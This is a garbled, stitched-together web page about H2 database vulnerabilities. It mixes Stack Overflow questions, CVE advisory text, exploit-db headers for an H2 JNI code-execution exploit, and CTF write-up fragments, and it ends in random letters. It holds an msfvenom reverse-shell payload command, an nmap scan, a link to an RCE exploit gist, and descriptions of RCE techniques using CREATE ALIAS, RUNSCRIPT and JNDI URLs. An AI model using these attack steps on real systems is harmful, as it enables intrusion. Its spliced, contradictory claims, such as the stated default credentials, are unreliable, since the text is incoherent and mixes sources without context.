H2 database engine exploit. An empty sa password allows for direct login.
- H2 database engine exploit Curate this topic Add this topic to your repo As a temporary workaround for this vulnerability, users may block the relevant endpoints at the network level. 214 can be started via the CLI with the argument -webAdminPassword, which allows the user to specify the password in cleartext for the web admin console. Writeup: Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2 This is a sample app based off the default Spring Boot app in Spring's documentation that demonstrates how an attacker can achieve RCE on an instance with an exposed /actuator/env Researchers say the root cause of the H2 console vulnerability is similar to Log4Shell – several code paths in the H2 database framework pass unfiltered attacker-controlled URLs to the javax JFrog has recently disclosed a remote code execution vulnerability on H2 Database consoles. Copy $ msfvenom -p windows/shell_reverse_tcp LHOST=192. java. I am trying to use an H2 database with Java. Consequently, a local user (or an attacker that has obtained local access through Contribute to cExplr/H2_RCE_Exploit development by creating an account on GitHub. 从零开始学习AWS End of support for the H2 database engine. It is assumed that you java org. In H2 version 1. Techniques to gain code execution in an H2 Database Engine are already well known but require H2 being able to compile Java code on the fly. asked Nov 4, 2010 at 20:47. Return primary key value generated by default in H2 database upon INSERT of new row, for UUID type column. LocalDateTime. 2. 0: Categories: Embedded SQL Databases: com. (127. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. For an in-memory database, this means the content is lost. The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on Using H2. tools. Other Answers are correct. zip cd h2/bin chmod +x h2. H2 Database 1. The name H2 stands for Hypersonic 2, however H2 does not share code with Hypersonic SQL or HSQLDB. To connect to a H2 database using OpenOffice Base, you first need to add the JDBC driver to OpenOffice. db file. (I don't know Even knowing this, we had one last challenge to surpass before getting RCE in a reliable manner, which H2 database were we going to point Metabase to during this validation step? Using the Metabase database itself would lead to the By default, closing the last connection to a database closes the database. H2 is a lightweight database server written in Java. Exploit Ease: Exploits are available When using GenerationType. sh. package work. From a program, I created a H2 database without specifying any user or password in the JDBC URL. It is awaiting reanalysis which may result in further changes to the information provided. We'll also learn how to integrate H2 with Python by building a simple Flask API. so that, if it is not there, it must be created or else the program should continue with the existing one. We have provided these links to other web sites because they may have information that would be of interest to you. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of H2 Database Engine is primarily used for running application test cases by our development team. This vulnerability has been modified since it was last analyzed by the NVD. Search Exploits. 214 and classified as problematic. I want to know how to test a stored procedure in Eclipse. The default username and password for the H2 database are: Username: www-data; Password: www-data The H2 Database Engine is an easily embeddable Java-only database engine with a small footprint. Copy H2 Database Engine Console. 0 – Initial publication Summary On the 6th of January 2022, security researchers from JFrog identified a critical JNDI-based vulnerability in the H2 database console that exploits the same root cause as the Log4Shell vul-nerability [1]. H2 is an open-source RDBMS in Java that offers a lightweight in-memory solution, making it a popular data References to Advisories, Solutions, and Tools. Cross-Site Scripting (XSS) is one of the most commonly encountered attacks in web applications. Example in Java JDBC. A vulnerability with the same root cause as the notorious Log4j flaw has been patched in the console of the hugely popular Java SQL database, H2 Database Engine. When changes are made to our codebase, we run automated test cases, and when the test case involves data manipulation, H2 Database Engine is used instead of a full blown database such as PostgreSQL. 在这篇文章中，解释了一种有效载荷，通过利用SQL注入获取RCE via H2 Anti-Objective: I know that it is frowned upon to use another database while testing. EDIT @ Nick Bull- Thank you so much for your help. Improve this question. Let's take a look at the details of the vulnerability. db instead a dbname. See also: H2 database in memory mode cannot be accessed by Console. Remember to close both servers. Just copy these files to a home H2 creates database, if absent. . The manipulation of the argument the with an unknown input leads to a information disclosure vulnerability. If you have apps that use the H2 Database Engine, upgrade H2 to version 2. The following listing shows a sample query that creates a function alias called REVERSE. Java Connect to H2 Database in Embedded Mode. 2. An empty sa password allows for direct login. " Empty space is created every time a row is deleted or updated. Additionally, users who rely on H2 as a file-based database should migrate to SQLite. Let's see how to fix CVE-2021-42392- a critical unauthenticated RCE in the H2 database console. Summary com. 5 MB jar In one of my projects I am using h2 database with file storage. It is read-only and it does not store any information. Consequently, a malicious local The org. setDBConnection(DriverManager. Reverse Shells (Linux, Windows, MSFVenom) 🐧 Linux Hardening. Storage can be disk-based or in-memory. I have read the Question, How to insert a specific UUID in h2 database?. H2 Database Engine. Its homepage is H2 Database Engine. I have tried with your logic, creating the table from C# code, it worked!!. From the above exploit, "H2 allows users to gain code execution by compiling and running Java code. If the base directory is not set (as in jdbc:h2:. mv. The main features of H2 are: Very fast, open source, JDBC API Embedded and server modes; in-memory databases Browser based Console application Small footprint: around 2. Let me add a complete example app in Java 22 with JDBC. But the table is present in H2 database. Affected versions of this package are vulnerable to Remote Code Execution (RCE) but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to The web-based admin console in H2 Database Engine before 2. h2. This topic presents a general procedure on how you can create a data source for the connection to your H2 database in IntelliJ IDEA, and run a test connection. To keep the content of an in-memory database as long as the virtual machine is alive, use jdbc:h2:mem:test;DB_CLOSE_DELAY=-1. The biggest reason was that the internal H2 engine is single threaded. paperstream -----Exploit Title | Path This vulnerability is caused by an out-of-date H2 database library bundled into the default install package. getConnection method to cause remote code execution. In this article I’ll show how [] The H2 Database Engine is highly versatile, supporting both embedded and server modes, which makes it adaptable for various application needs. jar org. License: EPL 1. sql. To do this, block the following endpoints: POST /api/database, PUT /api/database/:id, and POST /api/setup/validateuntil. 8). If it's only using localhost, why expose it on every IP? (9002) used by the H2 database engine. 66 Document Title. 04%. If an attacker can inject a JavaScript code into the application output, this can lead not only to cookie theft, redirection or phishing, but also in some cases to a complete compromise of the system. Researchers at the security firm JFrog have discovered a new remote code execution vulnerability in the H2 database console, a Java-linked database, which could allow attackers to exploit the flaw Modified. JdbcDataSource; import javax. When large, unoptimized queries are running across our databases with 100s of thousands or millions of rows, all other database operations would stop. Product Description. x, the database file <databaseName>. 3. Maven has a command to run tests: mvn test. Perfino uses by default the H2 Database Engine as its persistence storage. I need to start H2 database in server mode from my application. Researchers have warned of a new, critical Java flaw impacting the console of the popular H2 Java SQL database with the same root cause as the Log4Shell vulnerability in Apache Log4j. bat, or h2. Objective: How to setup and use H2 in Postgres mode. Using CWE to declare the problem leads to CWE-200. When running the application using mvn spring-boot:run everything works fine. 5 MB jar How reliable is h2 database? [closed] In 2010 we switched away from H2 to MySQL for our large[r] corporate database shards. What is your DBUrl? The h2-*. h2database:h2 is a database engine Affected versions of this package are vulnerable to Remote Code Execution (RCE). We can see this is H2 1. The database URL I am giving is: jdbc:h2:/db/bh. The way it does all of that is by using a design model, a database-independent image of the schema, which can be shared in a team using GIT and compared or deployed on to any database. A valid database connection is required. Web console: H2 offers a built-in web console for easy database management and querying. Choose a registry. MongoDB is an open source document-oriented database system. Now I'm trying to access that database with the Script tool. I think you only need to adjust the insert code. createTcpServer(). 224 A fast SQL database that can run embedded or a server mode with support for transactions, encryption, full search, etc. If the database engine was configured to allow creation of databases, the module default can be used which utilizes an in memory database. He also developed the Java database engine Hypersonic SQL. It is part of the NoSQL family of database systems. The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on I am new to database and recently started writing test cases for H2 database. 199 JNI code execution exploit. For that reason I have to stop the H2 database beforehand and restart in again afterwards. An unauthenticated, remote attacker can pass a specially crafted JNDI driver name and JDBC URL to the org. Impact of JNDI bug mitigated by vulnerable behavior being disabled by default. To connect to an H2 embedded The settings of the H2 Console are stored in a configuration file called . Then transfer to Java as a java. The most commonly used methods for exploitation are RUNSCRIPT and TRIGGER. basil. AggregateFunction, and org. It contains our Java code payload. Small footprint: The database is extremely lightweight, with a small footprint of around 1MB. 4. Reverse Shells (Linux, Windows, MSFVenom) 🐧 Linux Hardening H2 - Java SQL database. To be able to simply connect to a database from two separate applications, the connection mode should be Server Mode or Mixed Mode (read h2 documentation for further information). jdbc In H2 version 1. 4. the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). This vulnerability is a result of JNDI misuse that leads to unauthenticated remote code execution and is identified as CVE-2021-42392. A new RCE vulnerability in the H2 database. Aggregate, org. Veritas is aware of three recently published vulnerabilities for the H2 Database Engine: CVE-2021-23463 XML External Entity (XXE) Injection Vulnerability; CVE-2021-42392 JNDI driver name Remote Code Execution Vulnerability; CVE-2022-23221 JDBC URL Remote Code Execution Vulnerability; Veritas engineers have assessed the potential exploitability in our H2 Database Engine. JdbcUtils. [2] In 2001, the Hypersonic SQL project was stopped, and the HSQLDB Group was formed to continue work on the Hypersonic SQL code. getDBUsername(), hObj. Is there a way to tell maven to start an H2 database server for the tests and stop it when it's done? I imagine this working similar to how I can run tomcat via a Maven command (mvn tomcat:run). 168. To enable it, we need to add the following property to application. You can also use Spring: DbSchema is a super-flexible database designer, which can take you from designing the DB with your team all the way to safely deploying the schema. Sure enough, we get a few interesting results, especially one that includes code execution (H2 Database 1. 49. This exploit utilizes the Java Native Interface to load a a Java class without needing to use the Java Compiler. 9 Compare Oracle Database and H2 Database Engine and decide which is most suitable for you. 214: 1: Grouping all affected versions of a specific product helps to determine existing issues. data. H2 Database Engine » 2. I cannot seem to find out where the data is being written. 220 can be started via the CLI with the argument -webAdminPassword, which allows the user to specify the password in cleartext for the web admin console. 206. Code Issues Add a description, image, and links to the h2-database topic page so that developers can more easily learn about it. db is the default. Affected by this issue is some unknown processing of the component CLI. "H2 When the endpoint actuator is accessible with the env and restart methods, it is possible for an unauthenticated remote attacker to obtain a Remote Code Execution through default HikariCP database connection pool and a common Java development database like the H2 Database Engine. Consequently, a malicious local user or an attacker that has obtained The database engine was written by Thomas Mueller. Next, Apache Nifi also The recommended way to upgrade from one version of the database engine to the next version is to create a backup of the database (in the form of a SQL script) using the old engine, and then execute the SQL script using the new engine. Very recently, the JFrog security research team has disclosed an issue in the H2 database com. The author of that fake exploit blames H2 for the password exposure, but the password isn't exposed by H2; it is exposed by code that starts H2. Useful Linux Commands In this post a payload is explained to get RCE via a H2 database abusing a SQL Injection. Starting from Jira 10. 232 (2024-08-11) Windows Installer (SHA1 checksum: 58e6993a0440ffb2c6d6864ba81931c495bdb993) Platform-Independent Zip (SHA1 checksum Exploiting H2 SQL Injection. He demonstrated how to exploit a vulnerable H2 database by using Java Native I'm using this approach to query H2 database. NOTE: the TCP port is used exclusively by SmartFoxServer to communicate with the DB using the loopback address. Update 07/01/22 – Added credit to researcher @pyn3rd for similar independent previous findings in Acknowledgements section. Probability of exploitation activity in the next 30 days EPSS Score History Report a H2-Database-Engine SQLXML XXE vulnerability · Issue #3195 · h2database/h2database · GitHub Exploit;Issue Tracking;Patch;Third Party Advisory Stack Overflow for Teams Where developers & technologists share private knowledge with coworkers; Advertising & Talent Reach devs & technologists worldwide about your product, service or employer brand; OverflowAI GenAI features for Teams; OverflowAPI Train & fine-tune LLMs; Labs The future of collective knowledge sharing; About the company The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. The configuration file contains the settings of the application and picked up when the H2 Console is The remote H2 database is affected by a remote code execution vulnerability by allowing JNDI lookup on user-supplied data. util. Solution The H2 database engine is widely used in Java applications, and its RunScript feature allows attackers to execute SQL scripts from a remote URL. Timestamp and java. Appmus is a free service to discover amazing products and services. It provides a web console for managing the database, and by default it does not have a password set. To download H2 database software, refer to the official software downloads. By the way, you should consider upgrading to a more recent version of H2. OffsetDateTime object. jdbcx. H2 Version. Downloads Version 2. As with the recent ‘Log4Shell’ exploits, unauthenticated attackers can achieve remote code execution (RCE) Snyk Vulnerability Database. The h2 database that I'm connecting to is located at /tmp/customerdb. sh This should start the H2 server tool and open a browser window that lets you connect to a database. According to Search Exploits. 1 Code snippet for H2 Database Configuration H2Sharp is an Ado. KhanZeeshan. This can lead to code execution Pressing the Connect button here, we are allowed to connect to the database. H2 Database version 1. You asked: I need to know how to find whether the typical student database exists or not. After some research, we found out that H2 allows the definition of functions aliases and therefore the execution of Java code. A fast SQL database that can run embedded or a server mode with support for transactions, encryption, full search, etc. According to h2 db documentation "Empty space in the database file [is] re-used automatically. Execution will occur with the permissions assigned to the user running the H2 database engine. Updated "Affected Versions" column under "Affected Products and Remediation" section for "H2 Database Engine and Open-SSL" Third-party components from Versions 19. The doc says to use -user sa in the d You don't need to provide the source code of H2 if you did not modify anything. In Jira 10. 5685 - Local Privilege Escalation com. 0. 0 TLP:WHITE History: • 07/01/2022 — v1. 206 as “unreleased”, and doesn’t document CVE-2021-42392 as one of the issues fixed. 199 - JNI Code Execution - Java local Exploit (exploit-db. sql' db dump cd ${PERFINO_DATA_DIR} java -cp ${PATH_TO_H2_LIB}/h2*. x versions are not compatible with 2. It can be embedded in Java applications, or run as a standalone server. api. A software platform used for building applications based on containers — small and lightweight Summary Of Result. I have seen the following: In this case, the open source Java based database engine H2 was found to have a flaw in how products connect to it. A new database is automatically created by default if an embedded URL is used. nmap -sCV -p- -T4 -v 192. 0, all Velocity files stored on the filesystem (for example, shared, local home, or any other Critical flaw in the H2 open-source Java SQL database are similar to the Log4J vulnerability, but do not pose a widespread threat. In this tutorial, we'll review why H2 can be a good option for your projects. /test), the database files are stored in the directory where the application is started (the current working directory). Net wrapper for the H2 Database Engine written in C#. 206 (released 2022-01-04) is listed as the latest version, although the H2 changelog still lists 2. Armed with this knowledge, h00die created a new exploit against the H2 web interface which exploits a feature of the database engine and is less likely to be fixed by the project compared to a security flaw. Previous GraphQL Next IIS - Internet Information Services. Context. If your time zone had LMT (local mean time) in the past and you use such old dates (depends on the time zone, usually 100 or more years ago), don't use java. Now you can connect to your database via jdbc:h2:mem:foo_db URL within the same process or browse the foo_db database using localhost:8082. exe Any other WSO2 products containing the H2 Database Engine before 2. Create a dump of the current database using the tool [1] # This tool creates a 'config. The product exposes H2 Database Engine. By default, H2 automatically creates the database if not already in existence. Some Docker instances of H2 don't allow writing to folders such as /tmp, so we default to writing to the working directory of the software. Since no Our research and analysis have revealed that this vulnerability is exploited through JDBC. DotCMS is shipped with the H2 database by default. This blog post will show a previously undisclosed way of exploiting H2 without the need of the Java compiler being available, a way that leads us through the native world just to return into the Java world using Java To protect their users from such security issues, H2 since the version 1. time. And, of course, it Using Java 21 with H2 Database Engine 2. Checklist - Linux Privilege Escalation. My question is about how to ask H2 to generate the UUID value on my behalf. If you distribute a binary that includes H2, you need to add a disclaimer of liability - see the example below. 199 With all this, let’s look at searchsploit. (The storage engine "MVStore" is used). however this requires the Java Compiler to be available on in H2 Database Console January 7, 2022 — v1. I am connecting with the database using Java like so: dbObj. github. In summary, this payload is designed to exploit a vulnerability in the Logback . In the case of the H2 database instance embedded in WSO2 products, this is the CVE ID CVSS Exploit Patch Trends; CVE-2022-45868 ** DISPUTED ** The web-based admin console in H2 Database Engine through 2. Searching in Exploit Database for this service, we can see there is a code execution vulnerability. Linux Privilege Escalation In questo post viene spiegato un payload per ottenere RCE tramite un database H2 abusando di una SQL Injection. naming. Before you begin. But it is not showing in H2 console. Its in-memory database capability offers exceptional speed for testing H2 Database Engine. 66 -oA jacko Nmap scan report for 192. However, nobody is allowed to rename H2, modify it a little, and sell it as a database engine without telling the customers it is in fact H2. 199 - JNI Code Execution # Exploit Author: 1F98D # Original Author: Markus Wulftange # Date: 28 April 2020 # however this requires the Java Compiler to be available on the machine running H2. 224. Appmus identifies each software and service with its functionality which makes it easier to find similar alternatives. This is based on a Java Naming and Directory Interface(JNDI) vulnerability, and its root cause is similar to the recent Log4Shell vulnerability in Apache Log4j. Consequently, a local user (or an attacker that has obtained local access through some means) A vulnerability was found in H2 Database Engine up to 2. This blog post will show a previously undisclosed way of exploiting H2 without CVE-2022-45868 : The web-based admin console in H2 Database Engine before 2. dbis the default. example. db I don't know why file has a name dbname. We can then escalate our privilege by abusing misconfigured SeImpersonatePrivilege token. Summary. jar is just an engine (the code) of the database. 199 - JNI Code Execution | java/local/49384. The CREATE ALIAS function calls Java code, allowing an attacker to execute arbitrary Java code on projects running the h2 I have a use case where I need to backup the database. The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on H2 is stored on the file system, but it would be better to use the backup tools that you reference, because the file format can change between versions of H2. 210 WSO2 JUSTIFICATION ¶ In H2 databases, as the 1. Therefore using GenerationType. x database file formats and since this upgrade will introduce syntax changes to current database scripts, the existing H2 databases would need a data migration. 1 1. sh . You are actually specifying one: JDBC:h2:~/test/ You'll find your database in your home directory under test subdirectory. AUTO, the persistence provider will choose the default generation strategy for the database. Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221. 65 LPORT=80 -f exe -o shell. However this should happen while the application is running. An attacker may pass a JNDI driver name and a URL leading to a LDAP or RMI servers, causing remote code execution. PaperStream IP (TWAIN) 1. In my local machine its present in: /home/jack/dbname. A short preamble. getDBPassword())); H2 Database Engine is primarily used for running application test cases by our development team. H2 was built with performance in mind. index. The data in H2 can be stored either in memory or on disk in a specified file. net; database; h2; Share. Metabase supports multiple databases, and in this particular vulnerability, it is primarily com. 1. # This exploit utilises the Java Native Interface to load a a Java class without # needing to use the Java Compiler When using database URLs like jdbc:h2:~/test, the database is stored in the user directory. In the H2 database, on a table with a column of UUID data type, how do we specify that we want H2 to generate a UUID value by default when an INSERT omits that field? I know how to generate a UUID. To connect on a database by using external credentials client must append AUTHREALM=H2 to the database URL. c-sharp ado-net h2-database Updated Feb 15, 2017; C#; Vinicius-92 / mongodb-course Star 0. enabled=true. JdbcDataSource ds = new JdbcDataSource ( ); // Implementation of `DataSource` bundled with H2. 1. In this post a payload The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. Download the H2 zip file (for example h2-2013-07-28. GeoNetwork uses a default username and password for connecting to the H2 database if you haven't provided any modifying the jdbc. 155. db. There are other attack vectors that can exploit the H2 flaw For full information about H2, refer to the official documentation. Follow edited Nov 4, 2010 at 21:00. Capture the current time in H2 using SQL to call CURRENT_TIMESTAMP function. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely Having access to communicate with the H2 database check this exploit to get RCE on it: https://gist. Recover # 2. User has low privilege access to Networker Client system could potentially exploit this vulnerability, leading to the disclosure of configured MySQL Database user credentials. The Console lets you access a SQL database using a browser interface. The trigger class must be available in the classpath of the database engine (when using the server mode, it must be in the classpath of the server). As with H2 the database can be stored in a file, this seems to be easy to just copy the file away. The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on H2 is an open-source relational database management system written in Java that can be embedded within applications or run in a client-server mode. The H2 database has a parameter called init when connecting to the database, which allows executing any SQL statement. By selecting these links, you will be leaving NIST webspace. Checklist - Linux Privilege Escalation H2 - Java SQL database. Affected versions of this package are vulnerable to Remote Code Execution (RCE). More seriously, if there's ever any type of exploit in the H2 code then the server may be exposed. On January 07, 2022, researchers discovered a critical Java Naming and Directory Interface (JNDI) vulnerability in H2 Database Engine with a similar underlying cause as the notorious Log4j vulnerability. (The storage engine "PageStore" is used). For Windows installations, the user home directory is usually C:\Documents and Settings\[username] or C:\Users\[username]. h2database:h2 is a database engine. com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed. To exploit a vulnerability a certail level of authentication might be required In order to exploit this vulnerability, If such access could be obtained, a malicious actor could execute arbitrary code on the server running the H2 database engine. server. Creating default UUID generator in postgres. H2 is the identifier of the authentication realm (see later). Safely publish packages, store your packages alongside your code, and share your packages privately with your team. License H2 Database Engine Overview Repositories Projects Packages People Get started with GitHub Packages. Affected versions of this package are vulnerable to Information Exposure when H2 web-based admin console was started via the CLI with the argument -webAdminPassword, which allows a local user to specify the password in plaintext for the web admin console. BigFIsh The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. The MVStore is still beta right now (November 2014). H2 database JNI Code Execution Exploit. Consequently, a local user (or an attacker that has obtained local access through some means) would be able to discover the password by A so-called exploit puts a password in a potentially insecure place by itself and starts the H2 Server process with this possibly compromised (depending on the environment) password after that. When closing the database, the database is automatically compacted for up to 200 milliseconds by default. AUTO or GenerationType. Linux Privilege Escalation. In embedded mode, a H2 database is stored permanently on disk and the database engine runs in the same process that runs the application. By default, the H2 console is not enabled in Spring. Having tried the following code: server = Server. # This exploit utilises the Java Native Interface to load a a Java class without # needing to use the Java Compiler The most common use of JNDI is to manage database connections in Java EE application servers; it is also widely used for configuration management. As enumerating, we discover a vulnerable H2 database with a default credentials running on the target system, which leads to Remote Code Execution. To keep the database open, add ;DB_CLOSE_DELAY=-1 to the database URL. db are combined in to a . Due to some reason the table created in "H2 console" is not accessible through c# code. Open a terminal window; And then run: cd <download directory> unzip h2*. Script -url <url> -user <user> -password <password> Then, there are also the RUNSCRIPT statement and RunScript tool. 5 MB jar Authored by Markus Wulftange, 1F98D. 199 - JNI Code Execution Exploit Database. An open-source Java SQL database, H2 is an in-memory solution that eliminates the need to store data on disk, and is one of the most popular Maven packages, having roughly 7,000 artifact dependencies, Crucially, ports 80 and 8082 were open, hosting a Microsoft IIS server and an H2 Database Engine, respectively. txt. # Exploit Title: H2 Database 1. ; Download: jar, installer (Windows), zip. The content of the h2. The Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability. 42. jar, h2. In short, it exploits the feature of H2 to create user defined functions Currently, Metabase supports multiple databases, but in this case, we will focus on the deep exploitation of the H2 database. com))Exploitation H2 Database Code Execution. console. For Windows, this is usually C:\Documents and Settings<userName> or C:\Users<userName>. EPSS FAQ. Suppose I want to create and use an H2 database for my integration tests. getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. H2 is open source, free to use and distribute. Consequently, a malicious local user or an attacker that has obtained The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. DataSource dataSource ( ) { org. properties in your user home directory. private javax. com. The Identified by CVE-2021-42392, this security flaw could lead to unauthenticated remote code execution. The mode you are using is determined by the connection url you use to connect to it and in your case the connection url is jdbc:h2:~/test which means that you're starting H2 in an //Class responsible for connection with H2 Database Engine public class h2Connection {Connection conn; //connection variable DatabaseMetaData dbmd; /** Metadata variable which include methods such as the following: * 1) Database Product Name * 2) Database Product Version * 3) URL where the database files are located (in TCP mode) */ Statement jdbc:h2:~/dbname means that file h2 database with name db name will be created in the user home directory(~/ means user home directory, I hope you work on Linux). DB2 - ALTER table ADD column with unique default value (UUID) 10. 0, These changes not only increase the difficulty for an attacker to exploit filesystem access but also allow customers to verify the state of the product installation. ; Closing the last connection closes the database. sql' and a 'perfino. We copy and paste everything from the line below “ — Write native library” from the exploit code into the H2A database. I have tried to run the jar file of H2 and the H2 web console is probably connecting to actual Postgres server when using Generic PostgreSQL profile. DataSource; Generate UUID values by default for each row on column of UUID type in H2 Database Engine. Attack complexity: More severe for the By leveraging these methods, an attacker can perform remote code execution on vulnerable H2 Database instances, potentially gaining control over the host system. RELEASE) was going to behave with the H2 database; to do the latter, I needed to be able to get the H2 console running as well to query the DB results of the batch run. Welcome to H2, the Java SQL database. Date to read and write them. H2 database has an embedded GUI console for browsing the contents of a database and running SQL queries. jdbc; import org. db and . getConnection(hObj. So that part of your Question does not Exploit prediction scoring system (EPSS) score for CVE-2021-23463. Docker. getDBUrl(), hObj. The application connects to the database, adds records, and prints the added records to the console. This makes it possible to determine vendors and products which need attention when it comes to remediations. Technical Details Like in the Log4Shell, this vulnerability is due to several code paths in the H2 database framework that pass unfiltered attacker-controlled URLs to the javax. Therefore, the overall com. 0 MPL 2. It provides a web console for managing the The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. zip). lookup function, which allows Techniques to gain code execution in an H2 Database Engine are already well known but require H2 being able to compile Java code on the fly. An H2 import tool for import data into H2 tables; An H2 export tool for exporting data from H2 tables and views in various formats; An H2 SQL query builder; Tools for viewing system information about objects; A compare tool for comparing tables and/or SQL query results; For more information about H2 features provided by RazorSQL, see the H2 SQL support: H2 supports a large subset of standard SQL, including transactions, joins, views, and other SQL features. properties file of via environment variables. Thus, it stands to reason that the next critical JNDI injection vulnerability to be discovered was in the (very popular) H2 database engine (CVE-2021-42392, CVSS 9. sh script is relatively simple, it is: A critical, unauthenticated remote code execution vulnerability has been impacting the H2 database console since 2008. 1,410 5 5 gold badges 23 23 silver badges 37 37 bronze badges. H2 has a recovery tool and a run script tool to import sql statements: # 1. /h2. The Fasterxml jackson-databind package does not block the logback-core class, which contains the vulnerability. The CREATE ALIAS function calls Java code, allowing an attacker to execute arbitrary Java code on projects running the h2 6. Copy Introduction. 198 doesn't allow access to sensitive features of H2 Console (including features used in these two vulnerabilities) without additional authentication, so these issues should be considered as resolved in these products too if they use a some recent version of H2. properties: spring. At the time of writing, 2. I'm not here for the argument of what to use and when. My Use Case was to see how a SpringBatch project created in STS using :: Spring Boot :: (v1. 199. h2database:h2 is a database engine Affected versions of this package are vulnerable to Remote Code Execution (RCE) via a jdbc:h2:mem JDBC URL containing the IGNORE_UNKNOWN_SETTINGS=TRUE This problem drove me around the twist and besides this page I read many (many!) others until I solved it. KhanZeeshan KhanZeeshan. H2 Console allows loading of custom classes from remote servers through JNDI. ; To start the H2 Console tool, double click the jar file, or run java -jar h2*. H2 is an open-source relational database management system written It describes how a setter-based vulnerability in the Jackson library can be exploited if the libraries of Logback and H2 Database Engine are available. H2 Database Engine is lightweight, simple and runs H2 Database Engine Vulnerabilities. 1)" Top. Version. Trigger this data type is mapped to java. SEQUENCE with H2 should have the same result. H2 Database is fast open-source database engine interface used in Java applications. Contribute to cExplr/H2_RCE_Exploit development by creating an account on GitHub. The Features of H2. H2 uses by default a sequence starting at 1 and incrementing by 50. start(); Here is the properties for the connection: javabase. The H2 Console Application. In org. Shells (Linux, Windows, MSFVenom) 🐧 Linux Hardening. H2 Database Engine is lightweight, simple and runs Search Exploits. The # Exploit Title: H2 Database 1. With newer versions, the two files . A proof of concept is provided that works on Windows x64. zfmaxqen zvzfd pqfnqxk dyfvqhl kdzybr diftgoo kgak qsokk bledz gll